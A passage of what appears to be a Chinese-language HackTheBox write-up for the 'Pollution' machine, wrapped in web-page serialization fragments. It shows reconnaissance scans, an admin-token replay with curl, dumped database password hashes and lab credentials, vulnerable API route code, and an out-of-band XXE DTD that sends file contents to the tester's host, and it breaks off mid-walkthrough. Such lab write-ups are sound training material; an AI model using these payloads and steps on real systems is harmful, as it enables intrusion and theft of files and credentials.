19:I[15621,["/_next/static/immutable/chunks/3gm-8e62xn1qd.js","/_next/static/immutable/chunks/0n2yq6f-f75k2.js"],"ArticleReader"] 1a:T755,

<item>
  <time>Thu Sep 22 18:29:34 BRT 2022</time>
  <url><![CDATA[http://collect.htb/set/role/admin]]></url>
  <host ip="192.168.1.6">collect.htb</host>
  <port>80</port>
  <protocol>http</protocol>
  <method><![CDATA[POST]]></method>
  <path><![CDATA[/set/role/admin]]></path>
  <extension>null</extension>
  <request base64="true"><![CDATA[UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==]]></request>
  <status>302</status>
  <responselength>296</responselength>
  <mimetype></mimetype>
  <response base64="true"><![CDATA[SFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDIyIFNlcCAyMDIyIDIxOjMwOjE0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjU0IChEZWJpYW4pDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNClByYWdtYTogbm8tY2FjaGUNCkxvY2F0aW9uOiAvaG9tZQ0KQ29udGVudC1MZW5ndGg6IDANCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo=]]></response>
  <comment></comment>
</item>

1b:T63e, Thu Sep 22 18:29:34 BRT 2022 collect.htb 80 http null 302 296 1c:T43d,

$ curl -X POST 'http://collect.htb/set/role/admin' -d 'token=ddac62a28254561001277727cb397baf' -b 'PHPSESSID=qh2p91uv2etij667k0iplk6nv7' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host collect.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.38.17
*   Trying 10.129.38.17:80...
* Established connection to collect.htb (10.129.38.17 port 80) from 10.10.17.56 port 34586
* using HTTP/1.x
> POST /set/role/admin HTTP/1.1
> Host: collect.htb
> User-Agent: curl/8.21.0
> Accept: */*
> Cookie: PHPSESSID=qh2p91uv2etij667k0iplk6nv7
> Content-Length: 38
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 38 bytes
< HTTP/1.1 302 Found
< Date: Sun, 06 Sep 2026 13:04:29 GMT
< Server: Apache/2.4.54 (Debian)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /admin
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host collect.htb:80 left intact

1d:T8e4,

MariaDB [developers]> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 |
+----+----------+----------------------------------+
1 row in set (0.001 sec)

MariaDB [forum]> select username, password, salt from mybb_users;
+---------------------+----------------------------------+----------+
| username            | password                         | salt     |
+---------------------+----------------------------------+----------+
| administrator_forum | b254efc2c5716af2089ffeba1abcbf30 | DFFbL50R |
| john                | e1ec52d73242b78fdee6be117569b602 | UsWOsbCe |
| victor              | b454fd07d44b27f1d528efba841c9717 | Guls6xA8 |
| sysadmin            | 477a429cddfc475b9100958cae9204b1 | 3aUhiPN0 |
| jeorge              | 5d13d9d4b1f368280b8426800a85702e | 7HINOv17 |
| lyon                | 5eab3ec757f8352597ab74361fda8bcc | glx7Hpzh |
| jane                | 972470c4c1a3f53029e56007abcf39fc | YGjmCmvg |
| karldev             | 285127d01d188c8827c9fded33bf6f9e | KUWyAcfh |
| aoeu                | 26c37c9a6b2a91830bca377c5613b809 | 4K21Fd4J |
+---------------------+----------------------------------+----------+
9 rows in set (0.000 sec)

MariaDB [pollution_api]> select * from users;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | user | 2026-09-06 13:05:59 | 2026-09-06 13:05:59 |
+----+----------+----------+------+---------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [webapp]> select * from users;
+----+----------+----------------------------------+-------+
| id | username | password                         | role  |
+----+----------+----------------------------------+-------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 | admin |
|  3 | aoeu     | 05f60ba25a20f67f442f4127e4d6c4dd | admin |
+----+----------+----------------------------------+-------+
2 rows in set (0.000 sec)

router.post('/register', async (req, res) => {
    if (req.body.username != null && req.body.password != null) {
        try {
            const find = await User.findAll({
                where: {
                    username: req.body.username
                }
            })
            if (find.length == 0) {
 
                User.create({
                    username: req.body.username,
                    password: req.body.password,
                    role: "user"
                });
 
                exec('/home/victor/pollution_api/log.sh log_register');
 
                return res.json({
                    Status: "Ok"
                });
            }
 
            return res.json({
                Status: "This user already exists"
            });
        } catch (err) {
            return res.json({
                Status: "Error"
            });
        }
    }
    return res.json({
        Status: "Parameters not found"
    });
})
 
router.post('/login', async (req, res) => {
    if (req.body.username != null && req.body.password != null) {
        try {
            const find = await User.findAll({
                where: {
                    username: req.body.username,
                    password: req.body.password
                }
            });
            if (find.length > 0) {
 
                exec('/home/victor/pollution_api/log.sh log_login');
 
                const token = signtoken({
                    user: find[0].username,
                    is_auth: true,
                    role: find[0].role
                });
                return res.json({
                    Status: "Ok",
                    Header: {
                        "x-access-token": token
                    }
                });
            }
 
            return res.json({
                Status: "Error",
                Message: "Invalid Credentials"
            });
        } catch (err) {
            return res.json({
                Status: "Error"
            });
        }
    }
 
    return res.json({
        Status: "Parameters not found"
    });
})

20:T4b7,router.post('/register', async (req, res) => { if (req.body.username != null && req.body.password != null) { try { const find = await User.findAll({ where: { username: req.body.username } }) if (find.length == 0) { User.create({ username: req.body.username, password: req.body.password, role: "user" }); exec('/home/victor/pollution_api/log.sh log_register'); return res.json({ Status: "Ok" }); } return res.json({ Status: "This user already exists" }); } catch (err) { return res.json({ Status: "Error" }); } } return res.json({ Status: "Parameters not found" }); }) router.post('/login', async (req, res) => { if (req.body.username != null && req.body.password != null) { try { const find = await User.findAll({ where: { username: req.body.username, password: req.body.password } }); if (find.length > 0) { exec('/home/victor/pollution_api/log.sh log_login'); const token = signtoken({ user: find[0].username, is_auth: true, role: find[0].role }); return res.json({ Status: "Ok", Header: { "x-access-token": token } }); } return res.json({ Status: "Error", Message: "Invalid Credentials" }); } catch (err) { return res.json({ Status: "Error" }); } } return res.json({ Status: "Parameters not found" }); })21:T4a6,

MariaDB [pollution_api]> select * from users where username = "aoeu";
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | user | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 |
+----+----------+----------+------+---------------------+---------------------+
1 row in set (0.001 sec)

MariaDB [pollution_api]> update users set role = 'admin' where username = "aoeu";
Query OK, 1 row affected (0.003 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [pollution_api]> select * from users where username = "aoeu";
+----+----------+----------+-------+---------------------+---------------------+
| id | username | password | role  | createdAt           | updatedAt           |
+----+----------+----------+-------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | admin | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 |
+----+----------+----------+-------+---------------------+---------------------+
1 row in set (0.001 sec)

22:T445,MariaDB [pollution_api]> select * from users where username = "aoeu"; +----+----------+----------+------+---------------------+---------------------+ | id | username | password | role | createdAt | updatedAt | +----+----------+----------+------+---------------------+---------------------+ | 1 | aoeu | aoeu | user | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 | +----+----------+----------+------+---------------------+---------------------+ 1 row in set (0.001 sec) MariaDB [pollution_api]> update users set role = 'admin' where username = "aoeu"; Query OK, 1 row affected (0.003 sec) Rows matched: 1 Changed: 1 Warnings: 0 MariaDB [pollution_api]> select * from users where username = "aoeu"; +----+----------+----------+-------+---------------------+---------------------+ | id | username | password | role | createdAt | updatedAt | +----+----------+----------+-------+---------------------+---------------------+ | 1 | aoeu | aoeu | admin | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 | +----+----------+----------+-------+---------------------+---------------------+ 1 row in set (0.001 sec)11:["$","main",null,{"className":"reader-page","children":[["$","div",null,{"className":"reader-kicker","children":[["$","$L10",null,{"href":"/sources/8493b38312725c73","children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":16,"height":16,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-arrow-left","children":[["$","path","1l729n",{"d":"m12 19-7-7 7-7"}],["$","path","x3x0zl",{"d":"M19 12H5"}],"$undefined"]}]," 返回 ","ABB00717"]}],["$","span",null,{"children":"观点博客"}]]}],["$","header",null,{"className":"article-meta","children":[["$","span",null,{"children":["FROM · ","ABB00717"]}],["$","div",null,{"children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":15,"height":15,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-calendar-days","children":[["$","path","1cmpym",{"d":"M8 2v4"}],["$","path","4m81vk",{"d":"M16 2v4"}],["$","rect","1hopcy",{"width":"18","height":"18","x":"3","y":"4","rx":"2"}],["$","path","8toen8",{"d":"M3 10h18"}],["$","path","6423bh",{"d":"M8 14h.01"}],["$","path","1etili",{"d":"M12 14h.01"}],["$","path","1gbofw",{"d":"M16 14h.01"}],["$","path","lrp35t",{"d":"M8 18h.01"}],["$","path","mhygvu",{"d":"M12 18h.01"}],["$","path","kzsmim",{"d":"M16 18h.01"}],"$undefined"]}]," ","2026年9月8日",null]}]]}],["$","$L19",null,{"article":{"title":"HTB - Pollution","byline":null,"publishedAt":"2026-09-08T14:22:00.000Z","language":"en","blocks":[{"id":"b0","type":"heading","html":"

靶機簡介

","text":"靶機簡介"},{"id":"b1","type":"paragraph","html":"

Pollution 的正式域名是 collect.htb，枚舉後發現 forum 與 developers 兩個子網域。其中 forum 是 MyBB 論壇，我們在某篇貼文的附件裡找到了 Burp 的代理紀錄，其中一筆 POST /set/role/admin 帶著 token=ddac62a2...，拿同樣的 token 用自己的 PHPSESSID 重放就會被導向 /admin，而 /admin 的註冊請求是用 XML 傳送的，檢查後發現可以利用 Out-of-Band XXE 讀取檔案。我們先讀 /etc/apache2/sites-available/ 下的設定檔，再讀 /var/www/developers/.htpasswd 破出 Basic Auth 的 developers_group:r0cket，最後讀 login.php 與 bootstrap.php 拿到 MySQL 帳密與 Redis 密碼 COLLECTR3D1SPASS。

","text":"Pollution 的正式域名是 collect.htb，枚舉後發現 forum 與 developers 兩個子網域。其中 forum 是 MyBB 論壇，我們在某篇貼文的附件裡找到了 Burp 的代理紀錄，其中一筆 POST /set/role/admin 帶著 token=ddac62a2...，拿同樣的 token 用自己的 PHPSESSID 重放就會被導向 /admin，而 /admin 的註冊請求是用 XML 傳送的，檢查後發現可以利用 Out-of-Band XXE 讀取檔案。我們先讀 /etc/apache2/sites-available/ 下的設定檔，再讀 /var/www/developers/.htpasswd 破出 Basic Auth 的 developers_group:r0cket，最後讀 login.php 與 bootstrap.php 拿到 MySQL 帳密與 Redis 密碼 COLLECTR3D1SPASS。"},{"id":"b2","type":"paragraph","html":"

Basic Auth 之後還有一層應用程式自己的登入表單，但 session 是存在 Redis 上的，login.php 只檢查 $_SESSION['auth']，於是直接把自己的 session 寫成 auth|b:1; 就進去了。裡頭 ?page= 的檔案引入可以套 PHP Filter Chain 執行程式碼，即可取得 www-data 的 shell。進入後發現 victor 名下的 php-fpm pool，與之正常互動就能以 victor 的身分執行命令，寫入 SSH 公鑰即可登入。

","text":"Basic Auth 之後還有一層應用程式自己的登入表單，但 session 是存在 Redis 上的，login.php 只檢查 $_SESSION['auth']，於是直接把自己的 session 寫成 auth|b:1; 就進去了。裡頭 ?page= 的檔案引入可以套 PHP Filter Chain 執行程式碼，即可取得 www-data 的 shell。進入後發現 victor 名下的 php-fpm pool，與之正常互動就能以 victor 的身分執行命令，寫入 SSH 公鑰即可登入。"},{"id":"b3","type":"paragraph","html":"

枚舉後發現以 root 執行的 /root/pollution_api，它只看 JWT 裡的 role 判斷權限，所以直接改資料庫把帳號升成 admin 就能取得 admin 的 token，進而打到 /admin/messages/send。該端點用 lodash 的 _.merge 合併使用者可控的請求內容，而該版本的 lodash 存在 Prototype Pollution，汙染 child_process 的選項後即可讓 root 執行任意命令。

","text":"枚舉後發現以 root 執行的 /root/pollution_api，它只看 JWT 裡的 role 判斷權限，所以直接改資料庫把帳號升成 admin 就能取得 admin 的 token，進而打到 /admin/messages/send。該端點用 lodash 的 _.merge 合併使用者可控的請求內容，而該版本的 lodash 存在 Prototype Pollution，汙染 child_process 的選項後即可讓 root 執行任意命令。"},{"id":"b4","type":"heading","html":"

Academy x HTB Labs

","text":"Academy x HTB Labs"},{"id":"b6","type":"heading","html":"

Box Info

","text":"Box Info"},{"id":"b8","type":"heading","html":"

Recon

","text":"Recon"},{"id":"b9","type":"paragraph","html":"

首先肯定是 nmap 伺候：

","text":"首先肯定是 nmap 伺候："},{"id":"b10","type":"paragraph","html":"

# Output truncated for brevity\n$ nmap -p- --min-rate 10000 -T4 -Pn -n 10.129.38.17\nPORT     STATE SERVICE\n22/tcp   open  ssh\n80/tcp   open  http\n6379/tcp open  redis\n\n$ nmap -sC -sV -p22,80,6379 10.129.38.17\nPORT     STATE SERVICE VERSION\n22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n|   3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA)\n|   256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA)\n|_  256 df:47:55:4f:4a:d1:78:a8:9d:cd:f8:a0:2f:c0:fc:a9 (ED25519)\n80/tcp   open  http    Apache httpd 2.4.54 ((Debian))\n|_http-server-header: Apache/2.4.54 (Debian)\n|_http-trane-info: Problem with XML parsing of /evox/about\n|_http-title: Home\n| http-cookie-flags: \n|   /: \n|     PHPSESSID: \n|_      httponly flag not set\n6379/tcp open  redis   Redis key-value store\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n

","text":"# Output truncated for brevity $ nmap -p- --min-rate 10000 -T4 -Pn -n 10.129.38.17 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6379/tcp open redis $ nmap -sC -sV -p22,80,6379 10.129.38.17 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA) | 256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA) |_ 256 df:47:55:4f:4a:d1:78:a8:9d:cd:f8:a0:2f:c0:fc:a9 (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-server-header: Apache/2.4.54 (Debian) |_http-trane-info: Problem with XML parsing of /evox/about |_http-title: Home | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set 6379/tcp open redis Redis key-value store Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel"},{"id":"b11","type":"paragraph","html":"

先試試看 Redis：

","text":"先試試看 Redis："},{"id":"b12","type":"paragraph","html":"

$ redis-cli -h 10.129.38.17\n10.129.38.17:6379> keys *\n(error) NOAUTH Authentication required.\n

","text":"$$ redis-cli -h 10.129.38.17 10.129.38.17:6379> keys * (error) NOAUTH Authentication required."},{"id":"b13","type":"paragraph","html":"

我們目前還不知道密碼，簡單爆破一下也沒結果，那先去網頁看看再說：

","text":"我們目前還不知道密碼，簡單爆破一下也沒結果，那先去網頁看看再說："},{"id":"b14","type":"paragraph","html":"

10.129.38.17  pollution.htb\n

","text":"10.129.38.17 pollution.htb"},{"id":"b15","type":"heading","html":"

逛網頁

","text":"逛網頁"},{"id":"b16","type":"paragraph","html":"

看起來是一個專注於「監控環境污染指標」的公司：

","text":"看起來是一個專注於「監控環境污染指標」的公司："},{"id":"b18","type":"paragraph","html":"

在 Contact Us 才發現了正確的域名：

","text":"在 Contact Us 才發現了正確的域名："},{"id":"b20","type":"paragraph","html":"

在表單中我們發現了 LOGIN 和 REGISTER 入口：

","text":"在表單中我們發現了 LOGIN 和 REGISTER 入口："},{"id":"b22","type":"paragraph","html":"

註冊 aoeu:aoeu 並登入以後就可以到新的頁面：

","text":"註冊 aoeu:aoeu 並登入以後就可以到新的頁面："},{"id":"b24","type":"paragraph","html":"

沒有什麼有趣的東西了。在 /etc/hosts 補上 collect.htb：

","text":"沒有什麼有趣的東西了。在 /etc/hosts 補上 collect.htb："},{"id":"b25","type":"paragraph","html":"

10.129.38.17  pollution.htb collect.htb\n

","text":"10.129.38.17 pollution.htb collect.htb"},{"id":"b26","type":"heading","html":"

蒐集更多資訊

","text":"蒐集更多資訊"},{"id":"b27","type":"paragraph","html":"

網站逛得差不多了，來看點其他東西。從 Wappalyzer 看到這是 PHP + Apache Server：

","text":"網站逛得差不多了，來看點其他東西。從 Wappalyzer 看到這是 PHP + Apache Server："},{"id":"b29","type":"paragraph","html":"

掃描虛擬主機時找到了 forum 和 developers：

","text":"掃描虛擬主機時找到了 forum 和 developers："},{"id":"b30","type":"paragraph","html":"

$ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://collect.htb' -H 'Host: FUZZ.collect.htb' -fs 26197\n...<SNIP>...\nforum                   [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 77ms]\ndevelopers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 159ms]\n:: Progress: [20000/20000] :: Job [1/1] :: 267 req/sec :: Duration: [0:01:14] :: Errors: 0 ::\n

","text":"$$ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://collect.htb' -H 'Host: FUZZ.collect.htb' -fs 26197 ...... forum [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 77ms] developers [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 159ms] :: Progress: [20000/20000] :: Job [1/1] :: 267 req/sec :: Duration: [0:01:14] :: Errors: 0 ::"},{"id":"b31","type":"heading","html":"

forum.collect.htb

","text":"forum.collect.htb"},{"id":"b32","type":"paragraph","html":"

是個由 MyBB 驅動的公司內部論壇網站：

","text":"是個由 MyBB 驅動的公司內部論壇網站："},{"id":"b34","type":"paragraph","html":"

看底下的 2002-2026，網站本身應該不會有洞。發現可以註冊帳號，註冊 aoeu:htnshtns 登入逛逛看：

","text":"看底下的 2002-2026，網站本身應該不會有洞。發現可以註冊帳號，註冊 aoeu:htnshtns 登入逛逛看："},{"id":"b36","type":"paragraph","html":"

登入後進到首頁：

","text":"登入後進到首頁："},{"id":"b38","type":"paragraph","html":"

看到有一些文章，而在 “I had problems with the Pollution API” 這篇文章中有人在問 API 相關的問題，還有附上相關附件：

","text":"看到有一些文章，而在 “I had problems with the Pollution API” 這篇文章中有人在問 API 相關的問題，還有附上相關附件："},{"id":"b40","type":"paragraph","html":"

這些可以當作尋找 API 的線索。proxy_history.xml 是個 XML 檔案，結構遵循：

","text":"這些可以當作尋找 API 的線索。proxy_history.xml 是個 XML 檔案，結構遵循："},{"id":"b41","type":"paragraph","html":"

<item>\n  <time>Wed Oct 19 18:18:55 BRT 2022</time>\n  <url><![CDATA[http://127.0.0.1:3000/auth/login]]></url>\n  <host ip=\"127.0.0.1\">127.0.0.1</host>\n  <port>3000</port>\n  <protocol>http</protocol>\n  <method><![CDATA[POST]]></method>\n  <path><![CDATA[/auth/login]]></path>\n  <extension>null</extension>\n  <request base64=\"true\"><![CDATA[UE9T<SNIP>]]></request>\n  <status>200</status>\n  <responselength>240</responselength>\n  <mimetype>JSON</mimetype>\n  <response base64=\"true\"><![CDATA[SFRU<SNIP>]]></response>\n  <comment></comment>\n</item>

","text":" Wed Oct 19 18:18:55 BRT 2022 127.0.0.1 3000 http null ]]> 200 240 JSON ]]> "},{"id":"b42","type":"paragraph","html":"

看起來就一臉封包的樣子，隨手 grep 了 URL：

","text":"看起來就一臉封包的樣子，隨手 grep 了 URL："},{"id":"b43","type":"paragraph","html":"

$ grep -R '<url>' ./evidences/files/proxy_history.xml\n    <url><![CDATA[https://storyset.com/for-figma]]></url>\n    <url><![CDATA[http://collect.htb/set/role/admin]]></url>\n    <url><![CDATA[http://detectportal.firefox.com/canonical.html]]></url>\n    <url><![CDATA[http://127.0.0.1:3000/auth/login]]></url>\n    <url><![CDATA[http://collect.htb/]]></url>\n    <url><![CDATA[http://detectportal.firefox.com/canonical.html]]></url>\n    <url><![CDATA[http://forum.collect.htb/forumdisplay.php?fid=2]]></url>\n    <url><![CDATA[http://forum.collect.htb/jscripts/jeditable/jeditable.min.js]]></url>\n    <url><![CDATA[http://forum.collect.htb/jscripts/inline_edit.js?ver=1821]]></url>\n    <url><![CDATA[http://forum.collect.htb/jscripts/rating.js?ver=1821]]></url>\n

","text":"$$ grep -R '' ./evidences/files/proxy_history.xml "},{"id":"b44","type":"paragraph","html":"

其中最顯眼的就 http://collect.htb/set/role/admin 啊，仔細看一下：

","text":"其中最顯眼的就 http://collect.htb/set/role/admin 啊，仔細看一下："},{"id":"b45","type":"paragraph","html":"$1a","text":"$1b"},{"id":"b46","type":"paragraph","html":"

亂碼看起來就很 base64，把 request 和 response 的內容解密可以得到：

","text":"亂碼看起來就很 base64，把 request 和 response 的內容解密可以得到："},{"id":"b47","type":"paragraph","html":"

POST /set/role/admin HTTP/1.1\nHost: collect.htb\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\n\ntoken=ddac62a28254561001277727cb397baf\n

","text":"POST /set/role/admin HTTP/1.1 Host: collect.htb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 38 token=ddac62a28254561001277727cb397baf"},{"id":"b48","type":"paragraph","html":"

和

","text":"和"},{"id":"b49","type":"paragraph","html":"

HTTP/1.1 302 Found\nDate: Thu, 22 Sep 2022 21:30:14 GMT\nServer: Apache/2.4.54 (Debian)\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nLocation: /home\nContent-Length: 0\nConnection: close\nContent-Type: text/html; charset=UTF-8\n\n\n

","text":"HTTP/1.1 302 Found Date: Thu, 22 Sep 2022 21:30:14 GMT Server: Apache/2.4.54 (Debian) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: /home Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8"},{"id":"b50","type":"paragraph","html":"

我推測只要 /set/role/admin 有附上正確的 token，就可以把該 cookie 設為 admin，試試看：

","text":"我推測只要 /set/role/admin 有附上正確的 token，就可以把該 cookie 設為 admin，試試看："},{"id":"b51","type":"paragraph","html":"$1c","text":"$$ curl -X POST 'http://collect.htb/set/role/admin' -d 'token=ddac62a28254561001277727cb397baf' -b 'PHPSESSID=qh2p91uv2etij667k0iplk6nv7' -v Note: Unnecessary use of -X or --request, POST is already inferred. * Host collect.htb:80 was resolved. * IPv6: (none) * IPv4: 10.129.38.17 * Trying 10.129.38.17:80... * Established connection to collect.htb (10.129.38.17 port 80) from 10.10.17.56 port 34586 * using HTTP/1.x > POST /set/role/admin HTTP/1.1 > Host: collect.htb > User-Agent: curl/8.21.0 > Accept: */* > Cookie: PHPSESSID=qh2p91uv2etij667k0iplk6nv7 > Content-Length: 38 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 38 bytes < HTTP/1.1 302 Found < Date: Sun, 06 Sep 2026 13:04:29 GMT < Server: Apache/2.4.54 (Debian) < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Location: /admin < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host collect.htb:80 left intact"},{"id":"b52","type":"paragraph","html":"

貌似成功了，還把我們導向了 /admin。在 /admin 看到新的登入介面，輸入 aoeu:aoeu：

","text":"貌似成功了，還把我們導向了 /admin。在 /admin 看到新的登入介面，輸入 aoeu:aoeu："},{"id":"b54","type":"paragraph","html":"

按下送出後會顯示我們註冊成功：

","text":"按下送出後會顯示我們註冊成功："},{"id":"b56","type":"paragraph","html":"

但就沒有下文了，我們還是在 /admin，並且也沒有新的東西讓我們點。

","text":"但就沒有下文了，我們還是在 /admin，並且也沒有新的東西讓我們點。"},{"id":"b57","type":"heading","html":"

developers.collect.htb

","text":"developers.collect.htb"},{"id":"b58","type":"paragraph","html":"

在載入頁面以前會要求我們輸入密碼：

","text":"在載入頁面以前會要求我們輸入密碼："},{"id":"b60","type":"paragraph","html":"

我曾嘗試利用在 forum 看到的使用者搭配 /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt 爆破，但都沒有成功。

","text":"我曾嘗試利用在 forum 看到的使用者搭配 /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt 爆破，但都沒有成功。"},{"id":"b61","type":"heading","html":"

Shell as www-data

","text":"Shell as www-data"},{"id":"b62","type":"heading","html":"

XXE

","text":"XXE"},{"id":"b63","type":"paragraph","html":"

在整理證據的過程中，我發現帳號註冊請求是用 XML 來傳送的：

","text":"在整理證據的過程中，我發現帳號註冊請求是用 XML 來傳送的："},{"id":"b65","type":"paragraph","html":"

既然在 /admin 看到 XML，當然就想到了 XXE。因為看不到輸出，所以從 HackTricks 裡面挑一個 Blind SSRF 來測試，結果還真中了：

","text":"既然在 /admin 看到 XML，當然就想到了 XXE。因為看不到輸出，所以從 HackTricks 裡面挑一個 Blind SSRF 來測試，結果還真中了："},{"id":"b67","type":"paragraph","html":"

$ python3 -m http.server 6060\nServing HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...\n10.129.38.17 - - [06/Sep/2026 21:37:59] code 404, message File not found\n10.129.38.17 - - [06/Sep/2026 21:37:59] \"GET /poc HTTP/1.1\" 404 -\n

","text":"$$ python3 -m http.server 6060 Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ... 10.129.38.17 - - [06/Sep/2026 21:37:59] code 404, message File not found 10.129.38.17 - - [06/Sep/2026 21:37:59] \"GET /poc HTTP/1.1\" 404 -"},{"id":"b68","type":"paragraph","html":"

那麼我們就可以來玩 Out-of-Bound XXE 了，複製一個 evil.dtd 模板，看能不能抓到 /etc/hostname：

","text":"那麼我們就可以來玩 Out-of-Bound XXE 了，複製一個 evil.dtd 模板，看能不能抓到 /etc/hostname："},{"id":"b69","type":"paragraph","html":"

<!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=/etc/hostname\">\n<!ENTITY % eval \"<!ENTITY &#x25; exfil SYSTEM 'http://10.10.17.56:6060/%file;'>\">\n%eval;\n%exfil;

","text":" \"> %eval; %exfil;"},{"id":"b70","type":"paragraph","html":"

傳送對應請求：

","text":"傳送對應請求："},{"id":"b72","type":"paragraph","html":"

我們這邊成功接收到了 /etc/hostname 的 Base64 編碼：

","text":"我們這邊成功接收到了 /etc/hostname 的 Base64 編碼："},{"id":"b73","type":"paragraph","html":"

